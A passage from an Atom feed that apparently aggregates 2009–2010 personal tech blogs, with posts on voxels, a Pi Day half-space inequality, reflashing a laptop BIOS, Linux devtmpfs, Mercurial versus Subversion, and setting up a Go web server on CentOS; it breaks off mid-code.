&lt;p&gt;This relationship to continuous space makes discretization of otherwise continuous sets &amp;#8212; or regions, as say the &lt;a href=&quot;http://en.wikipedia.org/wiki/Geographic_information_system&quot;&gt;GIS&lt;/a&gt; people &amp;#8212; a snap (pun intended). In the simplest case, it is equivalent to basic &lt;a href=&quot;http://en.wikipedia.org/wiki/Sampling_(signal_processing)&quot;&gt;sampling&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;center&gt;&lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/b/bc/Voxels.svg/287px-Voxels.svg.png&quot; height=&quot;165&quot; alt=&quot;Voxels&quot; /&gt;&lt;/center&gt;&lt;/p&gt;
&lt;p&gt;In 3-space, these are essentially &lt;a href=&quot;http://en.wikipedia.org/wiki/Voxel&quot;&gt;voxels&lt;/a&gt;, which are intuitive for visual thinkers like me, and allow for neat tricks from the computer graphics literature like &lt;cite title=&quot;Y.K. Liu, H.Y. Song, and B. Žalik, 'A General Multi-Step Algorithm for Voxel Traversing Along a Line,' Computer Graphics Forum, vol. 27, 2008, pp. 73-80.&quot;&gt;voxel traversals&lt;/cite&gt;&lt;/p&gt;.</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2010-06-28T14:00:30+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Pi Day Madness</title>
		<link href="http://blog.mavrinac.com/2010/03/pi-day-madness/"/>
		<id>http://blog.mavrinac.com/?p=106</id>
		<updated>2010-03-15T01:10:35+00:00</updated>
		<content type="html">&lt;p&gt;You have a right-handed Cartesian coordinate basis of a three-dimensional Euclidean space, with axes &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x&quot; title=&quot;x&quot; class=&quot;latex&quot; /&gt;, &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=y&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;y&quot; title=&quot;y&quot; class=&quot;latex&quot; /&gt;, and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=z&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;z&quot; title=&quot;z&quot; class=&quot;latex&quot; /&gt;. You&amp;#8217;re given some &lt;em&gt;spatial-directional vectors&lt;/em&gt; of the form &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%2C%5Crho%2C%5Ceta%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z,\rho,\eta)&quot; title=&quot;(x,y,z,\rho,\eta)&quot; class=&quot;latex&quot; /&gt;, where &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Crho&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\rho&quot; title=&quot;\rho&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Ceta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\eta&quot; title=&quot;\eta&quot; class=&quot;latex&quot; /&gt; are, respectively, the inclination angle (from the positive &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=z&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;z&quot; title=&quot;z&quot; class=&quot;latex&quot; /&gt;-axis zenith) and the azimuth angle (measured right-handed from the positive &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x&quot; title=&quot;x&quot; class=&quot;latex&quot; /&gt;-axis) of an associated direction, which is unrelated to the direction of vector &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z)&quot; title=&quot;(x,y,z)&quot; class=&quot;latex&quot; /&gt;. How do you tell if the direction &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28%5Crho%2C%5Ceta%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(\rho,\eta)&quot; title=&quot;(\rho,\eta)&quot; class=&quot;latex&quot; /&gt; of such a vector falls inside the exterior half-space defined by the plane normal to &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z)&quot; title=&quot;(x,y,z)&quot; class=&quot;latex&quot; /&gt;?&lt;/p&gt;
&lt;p&gt;If it helps, visualize it this way. Travel to a point in space &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z)&quot; title=&quot;(x,y,z)&quot; class=&quot;latex&quot; /&gt;. Then, find a point on the unit sphere surrounding &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z)&quot; title=&quot;(x,y,z)&quot; class=&quot;latex&quot; /&gt; defined by &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28%5Crho%2C%5Ceta%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(\rho,\eta)&quot; title=&quot;(\rho,\eta)&quot; class=&quot;latex&quot; /&gt; (like latitude and longitude). Now, cut all of space in half with a plane passing through &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z)&quot; title=&quot;(x,y,z)&quot; class=&quot;latex&quot; /&gt; and perpendicular to the line between the origin and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z)&quot; title=&quot;(x,y,z)&quot; class=&quot;latex&quot; /&gt;. Is the point on the unit sphere in the same half of space as the origin?&lt;/p&gt;
&lt;p&gt;If &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x%20%3D%20y%20%3D%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x = y = 0&quot; title=&quot;x = y = 0&quot; class=&quot;latex&quot; /&gt;, it&amp;#8217;s dead simple: &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Crho%20%5Cgeq%20%5Cpi%2F2&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\rho \geq \pi/2&quot; title=&quot;\rho \geq \pi/2&quot; class=&quot;latex&quot; /&gt;. Doesn&amp;#8217;t even matter what &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Ceta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\eta&quot; title=&quot;\eta&quot; class=&quot;latex&quot; /&gt; is.&lt;/p&gt;
&lt;p&gt;If &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=y%20%3D%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;y = 0&quot; title=&quot;y = 0&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x%20%3E%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x &amp;gt; 0&quot; title=&quot;x &amp;gt; 0&quot; class=&quot;latex&quot; /&gt;, there&amp;#8217;s no effect on the azimuth, so it&amp;#8217;s still pretty straightforward: &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Crho%20%5Cgeq%20%5Cpi%2F2%20%2B%20%5Csin%5Ceta%5Carctan%28x%2Fz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\rho \geq \pi/2 + \sin\eta\arctan(x/z)&quot; title=&quot;\rho \geq \pi/2 + \sin\eta\arctan(x/z)&quot; class=&quot;latex&quot; /&gt;. The &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Carctan%28x%2Fz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\arctan(x/z)&quot; title=&quot;\arctan(x/z)&quot; class=&quot;latex&quot; /&gt; accounts for the tilt of the plane, and the &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Csin%5Ceta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\sin\eta&quot; title=&quot;\sin\eta&quot; class=&quot;latex&quot; /&gt; accounts for the azimuth.&lt;/p&gt;
&lt;p&gt;In the general case where &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x%2C%20y%20%5Cnot%3D%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x, y \not= 0&quot; title=&quot;x, y \not= 0&quot; class=&quot;latex&quot; /&gt;, and thus the azimuth angle relative to the plane&amp;#8217;s direction of tilt differs from the absolute azimuth angle, it gets a bit trickier. First, we need the magnitude of &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y)&quot; title=&quot;(x,y)&quot; class=&quot;latex&quot; /&gt; for the &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Carctan&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\arctan&quot; title=&quot;\arctan&quot; class=&quot;latex&quot; /&gt; bit:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=r%20%3D%20%5Csqrt%7Bx%5E2%20%2B%20y%5E2%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;r = \sqrt{x^2 + y^2}&quot; title=&quot;r = \sqrt{x^2 + y^2}&quot; class=&quot;latex&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now, for &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=z%20%3E%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;z &amp;gt; 0&quot; title=&quot;z &amp;gt; 0&quot; class=&quot;latex&quot; /&gt;, what we want is &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Crho%20%5Cgeq%20%5Cpi%2F2%20%2B%20%5Ccos%28%5Ceta%20-%20%5Ctheta%29%5Carctan%28r%2Fz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\rho \geq \pi/2 + \cos(\eta - \theta)\arctan(r/z)&quot; title=&quot;\rho \geq \pi/2 + \cos(\eta - \theta)\arctan(r/z)&quot; class=&quot;latex&quot; /&gt;, where &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Ctheta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\theta&quot; title=&quot;\theta&quot; class=&quot;latex&quot; /&gt; is the right-handed angle of &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y)&quot; title=&quot;(x,y)&quot; class=&quot;latex&quot; /&gt; from the positive &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x&quot; title=&quot;x&quot; class=&quot;latex&quot; /&gt;-axis. Conceptually, subtracting &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Ctheta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\theta&quot; title=&quot;\theta&quot; class=&quot;latex&quot; /&gt; is like transforming the azimuth angle into a new coordinate system where the plane tilt is back in the &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x&quot; title=&quot;x&quot; class=&quot;latex&quot; /&gt;-&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=z&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;z&quot; title=&quot;z&quot; class=&quot;latex&quot; /&gt; plane (as if &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=y%20%3D%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;y = 0&quot; title=&quot;y = 0&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x%20%3D%20r&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x = r&quot; title=&quot;x = r&quot; class=&quot;latex&quot; /&gt;). We could leave it like this, and have the reader calculate &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Ctheta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\theta&quot; title=&quot;\theta&quot; class=&quot;latex&quot; /&gt; as:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://upload.wikimedia.org/math/0/b/e/0be75b33e66b958ba98cd9a73ef5ef9a.png&quot; height=&quot;110&quot; alt=&quot;A Giant Ugly Mess&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But, with a well-known trigonometric identity we can make it a bit prettier:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Crho%20%5Cgeq%20%5Cfrac%7B%5Cpi%7D%7B2%7D%20%2B%20%5Cleft%28%5Cfrac%7By%7D%7Br%7D%5Csin%5Ceta%20%2B%20%5Cfrac%7Bx%7D%7Br%7D%5Ccos%5Ceta%5Cright%29%20%5Carctan%5Cleft%28%5Cfrac%7Br%7D%7Bz%7D%5Cright%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\rho \geq \frac{\pi}{2} + \left(\frac{y}{r}\sin\eta + \frac{x}{r}\cos\eta\right) \arctan\left(\frac{r}{z}\right)&quot; title=&quot;\rho \geq \frac{\pi}{2} + \left(\frac{y}{r}\sin\eta + \frac{x}{r}\cos\eta\right) \arctan\left(\frac{r}{z}\right)&quot; class=&quot;latex&quot; /&gt;&lt;/p&gt;
&lt;p&gt;More than a few scrap half-pages were harmed during the making of this inequality.&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2010-06-28T14:00:30+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Reflashing a BIOS from Windows</title>
		<link href="http://blog.free.draisey.ca/node/98"/>
		<id>http://blog.free.draisey.ca/98 at http://blog.free.draisey.ca</id>
		<updated>2010-03-06T17:34:23+00:00</updated>
		<content type="html">&lt;p&gt;Beforing putting debian on an Acer Aspire 1690 that I inherited, I decided to reflash the BIOS to the latest version (the new one dates March 1st 2006 --- whippee!) figuring that would give me the best chance of success in putting this thing to sleep and having it wake up again.  I have never had a great deal of luck doing this but one can only hope.&lt;/p&gt;
&lt;p&gt;To reflash the BIOS I downloaded a windows bios flash programme from the Acer web site that came with a whole raft of dire warnings but I plunged ahead anyhow.  The reflash itself went painlessly complete with a back-up of the old BIOS and a compatibility check so I was reasonably happy that I wouldn&amp;#039;t brick my computer but I hadn&amp;#039;t reckoned on Windows freexing up solid not letting me shut down the machine.  It was working as  anice room heater and nightlight but little else.  I started to sweat a little when holding down the power button did nothing at all --- this is a BIOS override of the OS and it wasn&amp;#039;t doing anything at all!&lt;/p&gt;
&lt;p&gt;So I pulled the wall power, flipped it over and pulled the battery.  It started just fine from then on.  One presumes that Windows had deep tenticles into the BIOS and was expecting different behaviour from the reflashed version, which makes one wonder why write a reflash programme in windows at all?  Does this make sense to anyone?&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Doing my thing for Google</title>
		<link href="http://www.latenightpc.com/blog/archives/2010/01/20/doing-my-thing-for-google"/>
		<id>http://www.latenightpc.com/65639 at http://www.latenightpc.com</id>
		<updated>2010-01-20T05:27:48+00:00</updated>
		<content type="html">&lt;p&gt;&lt;/p&gt;&lt;p&gt;I've done a lot of different software on a lot of different platforms. Today I started doing my thing for Google. &lt;/p&gt;
&lt;p&gt;Google does some pretty amazing work and I'm excited that I can be a part of that. I'll also be glad to let go of the hard parts of my consulting business. Even though I won't be consulting through Late Night PC any more I'll keep the site going with more of the same. That includes Drupal, SVG, scripting, server-side stuff and whatever else. It might also mean a little more of the personal and opinion posts that I haven't done much of lately. The site has always been a mix of personal and professional stuff that I make and write about. What I write here remains my opinion and doesn't represent anything official from Google. My blog has always been just what works for me and that's not going to change.&lt;/p&gt;</content>
		<author>
			<name>Rob Russell</name>
			<uri>http://www.latenightpc.com</uri>
		</author>
		<source>
			<title type="html">Late Night PC</title>
			<link rel="self" href="http://www.latenightpc.com/rss.xml"/>
			<id>http://www.latenightpc.com/rss.xml</id>
			<updated>2010-09-07T19:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Linux 2.6.32.3 and tmpdevfs</title>
		<link href="http://blog.free.draisey.ca/node/97"/>
		<id>http://blog.free.draisey.ca/97 at http://blog.free.draisey.ca</id>
		<updated>2010-01-07T04:43:01+00:00</updated>
		<content type="html">&lt;p&gt;So I downloaded the patches to get to 2.6.32.3 from my 2.6.31 set-up and ran make oldconfig --- it gave me the option to run devtmpfs and mount it on /dev before starting /sbin/init.  Why not.  So a short compile later and a reboot and debian lenny likes devtmpfs.  Nice to know.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">My Story of Mercurial and Subversion</title>
		<link href="http://www.latenightpc.com/blog/archives/2009/12/02/my-story-of-mercurial-and-subversion"/>
		<id>http://www.latenightpc.com/65638 at http://www.latenightpc.com</id>
		<updated>2009-12-02T20:45:38+00:00</updated>
		<content type="html">&lt;p&gt;&lt;/p&gt;&lt;p&gt;I'm really getting attached to using &lt;a href=&quot;http://hgbook.red-bean.com/read/&quot;&gt;Mercurial&lt;/a&gt;. I've been a &lt;a href=&quot;http://svnbook.red-bean.com/en/1.5/svn-book.html&quot;&gt;Subversion fan&lt;/a&gt; for years but when Ben Collins-Sussman (one of the authours of Subversion) &lt;a href=&quot;http://blog.red-bean.com/sussman/?p=272&quot;&gt;mentioned he's been using Mercurial&lt;/a&gt;, I took that as a pretty solid endorsement. I'm not saying I'm jumping ship but I definitely have found some of the things I can do with hg to be pretty convenient compared to the way I've been using Subversion. I've used the two for different types of projects though. My subversion repositories have held the code and resources for my websites for a long time. I've also worked on shared C/C++ applications with &lt;a href=&quot;http://www.codedread.com/blog&quot;&gt;Jeff&lt;/a&gt; and stored our stuff on an SVN server. It's really convenient since it works well across OSes and I have a central server that I can reach from pretty much wherever I want.&lt;/p&gt;
&lt;p&gt;Mercurial on the other hand, I first set up to get at current &lt;a href=&quot;http://hg.mozilla.org/&quot;&gt;Mozilla source code&lt;/a&gt;. Then the &lt;a href=&quot;http://golang.org/doc/install.html#tmp_45&quot;&gt;Go project code&lt;/a&gt; came out and it's in a Mercurial repo too. So I had this handy little hg command ready to go on all my computers. When I put stuff in a Subversion repo, I feel like I should be organized. I think this comes from the way I've set up the SVN server I use the most. Now I get an idea for some project that I want to try out with Go and I write a little code. After that I just go to the command line and do hg init followed by hg commit (roughly). Every machine is a server and a client. If the project turns in to something I want to share I can either share it locally with hg serve or I can send it to a public repo like Google Code by doing hg push. &lt;/p&gt;
&lt;p&gt;The sharing step is one place that's easier than Subversion. The way I know to do the same thing with svn is more complex: I have to create the repo and check out a working copy of the code. Of course whatever is in a new repo is just an empty folder so if I've already written some code I have to copy some files around to populate the working copy &amp;amp; check it in.&lt;/p&gt;
&lt;p&gt;Subversion is a very mature project and I don't intend to move away from it. But Mercurial has made me more relaxed about creating a repo so I can just start coding - with revision control.&lt;/p&gt;</content>
		<author>
			<name>Rob Russell</name>
			<uri>http://www.latenightpc.com</uri>
		</author>
		<source>
			<title type="html">Late Night PC</title>
			<link rel="self" href="http://www.latenightpc.com/rss.xml"/>
			<id>http://www.latenightpc.com/rss.xml</id>
			<updated>2010-09-07T19:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Running a Simple Go Webserver on Slicehost with CentOS</title>
		<link href="http://www.latenightpc.com/blog/archives/2009/11/16/running-a-simple-go-webserver-on-slicehost-with-centos"/>
		<id>http://www.latenightpc.com/65637 at http://www.latenightpc.com</id>
		<updated>2009-11-16T17:21:55+00:00</updated>
		<content type="html">&lt;p&gt;&lt;/p&gt;&lt;p&gt;The installation instructions for Go are pretty clear and worked easily on my Ubuntu VM. Setting it up on my &lt;a href=&quot;http://www.slicehost.com/&quot;&gt;VPS at Slichost&lt;/a&gt; required a little bit of translating and some extra packages I hadn't installed yet. This Slice runs CentOS 5.3 right now and I wanted to try running my latest version of &lt;a href=&quot;http://code.google.com/p/goplot/&quot;&gt;GoPlot&lt;/a&gt; on it.&lt;/p&gt;
&lt;p&gt;Basically what I did to get started is the same as the &lt;a href=&quot;http://golang.org/doc/install.html&quot;&gt;official docs&lt;/a&gt; but translated to an rpm-based system.&lt;/p&gt;
&lt;p&gt;Back when I first set up this Slice, I'd already done the recommended &lt;a href=&quot;http://wiki.slicehost.com/doku.php?id=first_steps_with_your_new_centos_slice first steps&quot;&gt;first steps&lt;/a&gt;. I'm also running &lt;a href=&quot;http://www.rfxn.com/projects/advanced-policy-firewall/&quot;&gt;Advanced Policy Firewall (APF)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;First I needed the prerequisite Go dependencies. Getting the latest version of the Go source requires mercurial (hg) and the easy way to get that is with easy_install. So CentOS is rpm-base, we use yum (as root):&lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;geshifilter&quot;&gt;&lt;div class=&quot;bash geshifilter-bash&quot;&gt;yum &lt;span class=&quot;kw2&quot;&gt;install&lt;/span&gt; python-setuptools&lt;br /&gt;
yum &lt;span class=&quot;kw2&quot;&gt;install&lt;/span&gt; python-devel&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;After that succeeds, install mercurial:&lt;br /&gt;
&lt;div class=&quot;geshifilter&quot;&gt;&lt;div class=&quot;bash geshifilter-bash&quot;&gt;easy_install mercurial&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
Now mercurial should be available and the hg command should provide a help message.&lt;/p&gt;
&lt;p&gt;Next install the dependencies for building the Go source (as root):&lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;geshifilter&quot;&gt;&lt;div class=&quot;bash geshifilter-bash&quot;&gt;yum &lt;span class=&quot;kw2&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;kw2&quot;&gt;bison&lt;/span&gt; &lt;span class=&quot;kw2&quot;&gt;gcc&lt;/span&gt; libc6-dev &lt;span class=&quot;kw2&quot;&gt;ed&lt;/span&gt; &lt;span class=&quot;kw2&quot;&gt;make&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;The rest of the instructions are the same as the ones given at the &lt;a href=&quot;http://golang.org/doc/install.html&quot;&gt;Installing Go&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;Once Go is installed and running, getting a little app serving web pages is easy with the http package.&lt;/p&gt;
&lt;p&gt;There's an example in the documentation for &lt;a href=&quot;http://golang.org/pkg/http/#tmp_133&quot;&gt;http.ListenAndServe() &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;geshifilter&quot;&gt;&lt;div class=&quot;c geshifilter-c&quot;&gt;package main&lt;br /&gt;
&lt;br /&gt;
import &lt;span class=&quot;br0&quot;&gt;&amp;#40;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;st0&quot;&gt;&amp;quot;http&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;st0&quot;&gt;&amp;quot;io&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;span class=&quot;br0&quot;&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;co1&quot;&gt;// hello world, the web server&lt;/span&gt;&lt;br /&gt;
func HelloServer&lt;span class=&quot;br0&quot;&gt;&amp;#40;&lt;/span&gt;c &lt;span class=&quot;sy0&quot;&gt;*&lt;/span&gt;http.&lt;span class=&quot;me1&quot;&gt;Conn&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; req &lt;span class=&quot;sy0&quot;&gt;*&lt;/span&gt;http.&lt;span class=&quot;me1&quot;&gt;Request&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; io.&lt;span class=&quot;me1&quot;&gt;WriteString&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&amp;quot;hello, world!&lt;span class=&quot;es0&quot;&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class=&quot;br0&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
func main&lt;span class=&quot;br0&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; http.&lt;span class=&quot;me1&quot;&gt;Handle&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&amp;quot;/hello&amp;quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; http.&lt;span class=&quot;me1&quot;&gt;HandlerFunc&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;&amp;#40;&lt;/span&gt;HelloServer&lt;span class=&quot;br0&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; err &lt;span class=&quot;sy0&quot;&gt;:=&lt;/span&gt; http.&lt;span class=&quot;me1&quot;&gt;ListenAndServe&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&amp;quot;:12345&amp;quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; nil&lt;span class=&quot;br0&quot;&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; err &lt;span class=&quot;sy0&quot;&gt;!=&lt;/span&gt; nil &lt;span class=&quot;br0&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
